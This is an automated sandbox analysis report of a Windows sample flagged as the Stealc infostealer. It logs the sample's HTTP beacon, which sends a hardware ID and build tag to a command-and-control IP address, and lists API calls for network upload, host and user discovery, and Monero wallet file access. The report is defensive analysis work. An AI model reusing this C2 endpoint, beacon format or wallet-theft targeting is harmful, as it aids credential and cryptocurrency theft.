Oct 8, 2024 18:26:13.851680040 CEST	49715	80	192.168.2.7	185.215.113.37
Oct 8, 2024 18:26:13.854497910 CEST	49715	80	192.168.2.7	185.215.113.37
Oct 8, 2024 18:26:13.859854937 CEST	80	49715	185.215.113.37	192.168.2.7
Oct 8, 2024 18:26:14.097385883 CEST	80	49715	185.215.113.37	192.168.2.7
Oct 8, 2024 18:26:14.098408937 CEST	49715	80	192.168.2.7	185.215.113.37
Oct 8, 2024 18:26:17.635600090 CEST	49715	80	192.168.2.7	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49715	185.215.113.37	80	7056	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 18:26:13.037276983 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 18:26:13.851593971 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:26:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 18:26:13.854497910 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDGCFBAEGDHJKEBGCBA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 37 38 32 34 45 36 34 39 34 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 2d 2d 0d 0a Data Ascii: ------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="hwid"77824E6494FB4109353171------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="build"doma------CGDGCFBAEGDHJKEBGCBA--
Oct 8, 2024 18:26:14.097385883 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:26:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	12:26:09
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xbe0000
File size:	1'835'520 bytes
MD5 hash:	F7B1143886156D2A48FCDA8F5DEC586E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1358788116.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1399229578.000000000099E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00BF9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,009B15E8), ref: 00BF98A1
GetProcAddress.KERNEL32(77190000,009B16F0), ref: 00BF98BA
GetProcAddress.KERNEL32(77190000,009B1738), ref: 00BF98D2
GetProcAddress.KERNEL32(77190000,009B1588), ref: 00BF98EA
GetProcAddress.KERNEL32(77190000,009B16A8), ref: 00BF9903
GetProcAddress.KERNEL32(77190000,009B8B38), ref: 00BF991B
GetProcAddress.KERNEL32(77190000,009A55E8), ref: 00BF9933
GetProcAddress.KERNEL32(77190000,009A53A8), ref: 00BF994C
GetProcAddress.KERNEL32(77190000,009B1510), ref: 00BF9964
GetProcAddress.KERNEL32(77190000,009B14F8), ref: 00BF997C
GetProcAddress.KERNEL32(77190000,009B1618), ref: 00BF9995
GetProcAddress.KERNEL32(77190000,009B16C0), ref: 00BF99AD
GetProcAddress.KERNEL32(77190000,009A5408), ref: 00BF99C5
GetProcAddress.KERNEL32(77190000,009B1630), ref: 00BF99DE
GetProcAddress.KERNEL32(77190000,009B17C8), ref: 00BF99F6
GetProcAddress.KERNEL32(77190000,009A5708), ref: 00BF9A0E
GetProcAddress.KERNEL32(77190000,009B15A0), ref: 00BF9A27
GetProcAddress.KERNEL32(77190000,009B1660), ref: 00BF9A3F
GetProcAddress.KERNEL32(77190000,009A5728), ref: 00BF9A57
GetProcAddress.KERNEL32(77190000,009B1870), ref: 00BF9A70
GetProcAddress.KERNEL32(77190000,009A5428), ref: 00BF9A88
LoadLibraryA.KERNEL32(009B1810,?,00BF6A00), ref: 00BF9A9A
LoadLibraryA.KERNEL32(009B1888,?,00BF6A00), ref: 00BF9AAB
LoadLibraryA.KERNEL32(009B1840,?,00BF6A00), ref: 00BF9ABD
LoadLibraryA.KERNEL32(009B18B8,?,00BF6A00), ref: 00BF9ACF
LoadLibraryA.KERNEL32(009B1828,?,00BF6A00), ref: 00BF9AE0
GetProcAddress.KERNEL32(76850000,009B17F8), ref: 00BF9B02
GetProcAddress.KERNEL32(77040000,009B18A0), ref: 00BF9B23
GetProcAddress.KERNEL32(77040000,009B1858), ref: 00BF9B3B
GetProcAddress.KERNEL32(75A10000,009B8D50), ref: 00BF9B5D
GetProcAddress.KERNEL32(75690000,009A5448), ref: 00BF9B7E
GetProcAddress.KERNEL32(776F0000,009B8B98), ref: 00BF9B9F
GetProcAddress.KERNEL32(776F0000,NtQueryInformationProcess), ref: 00BF9BB6

Strings

NtQueryInformationProcess, xrefs: 00BF9BAA

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: a4e3679a05b9e149a3d9dcaac01860ed23345fd25434b64eea23b42cc87d1dd7
Instruction ID: 7fda3ccd00f2c9d54a499cedb911d064d096a1c78e27e9f1b13129d55bd53a35
Opcode Fuzzy Hash: a4e3679a05b9e149a3d9dcaac01860ed23345fd25434b64eea23b42cc87d1dd7
Instruction Fuzzy Hash: 6BA14CB55002409FD368EFAAFE88A6637F9F74C70170C453AE606E3264D739984BCB56

Function 00BE45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00BE460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00BE479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BE4617

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 5be8baa0b9452697814bf5c9701ed1f423c670f0b1ca06c8106f89f1feb94e9d
Instruction ID: 89e58db878a93944713804ddabcfa364676c94fc1aa5e7f7f3ec9a7cf10e4d61
Opcode Fuzzy Hash: 5be8baa0b9452697814bf5c9701ed1f423c670f0b1ca06c8106f89f1feb94e9d
Instruction Fuzzy Hash: 714103606C26447FE628BFE48C46E9F7766DF46B08F606060EA00522E2CFB07542ED36

Function 00BE4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

Part of subcall function 00BE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BE4839
Part of subcall function 00BE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00BE4849

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00BE4915
StrCmpCA.SHLWAPI(?,009BF440), ref: 00BE493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BE4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00C00DDB,00000000,?,?,00000000,?,",00000000,?,009BF390), ref: 00BE4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00BE4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00BE4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00BE4E49
InternetCloseHandle.WININET(00000000), ref: 00BE4EAD
InternetCloseHandle.WININET(00000000), ref: 00BE4EC5
HttpOpenRequestA.WININET(00000000,009BF4C0,?,009BEC40,00000000,00000000,00400100,00000000), ref: 00BE4B15

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

InternetCloseHandle.WININET(00000000), ref: 00BE4ECF

Strings

------, xrefs: 00BE49BD
------, xrefs: 00BE4C69
------, xrefs: 00BE4B28
", xrefs: 00BE4D33
", xrefs: 00BE4BF2

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 6a3d16ec97fc1b3af4b9583e15196629773a80f8e35e5c8157e0b3eec8b2b478
Instruction ID: 7e02ad4c631119bf48f30943b7eee337e2cd4c18257902ff43e45be1d4274de3
Opcode Fuzzy Hash: 6a3d16ec97fc1b3af4b9583e15196629773a80f8e35e5c8157e0b3eec8b2b478
Instruction Fuzzy Hash: 7E1299B191011CAADB19EB54DD92FEEB3B9AF14340F5441E9B20A73091DFB06B4DCB62

Function 00BF78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BF7910
RtlAllocateHeap.NTDLL(00000000), ref: 00BF7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00BF792F

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: c31a17e05d61335d095dc370acf3c0cd118ef01299f07375835d4a93e0c5ed56
Instruction ID: ce23476f38220376d446839097168cc72277eec35bfec7de7f6281aa1fe7386d
Opcode Fuzzy Hash: c31a17e05d61335d095dc370acf3c0cd118ef01299f07375835d4a93e0c5ed56
Instruction Fuzzy Hash: 7D0186B1A44209EFC714DF95DD49BAABBF8F704B11F1042A9FA45E3280C77459088BA1

Function 00BF7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00BE11B7), ref: 00BF7880
RtlAllocateHeap.NTDLL(00000000), ref: 00BF7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BF789F

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: d2d5ad6205156b2d85cfecb809c552be64a099e4007bffdb46476c5bd1273fb5
Instruction ID: 2dd80735fedbcade2cc53881cad734c5eacd997a10a005f54314c45e0a35fb0e
Opcode Fuzzy Hash: d2d5ad6205156b2d85cfecb809c552be64a099e4007bffdb46476c5bd1273fb5
Instruction Fuzzy Hash: E2F04FB1944208AFC714DF99DD49FAEBBB8EB04711F10066AFA05A3680C77415098BA1

Function 00BE1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00BE116A
ExitProcess.KERNEL32 ref: 00BE117E

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

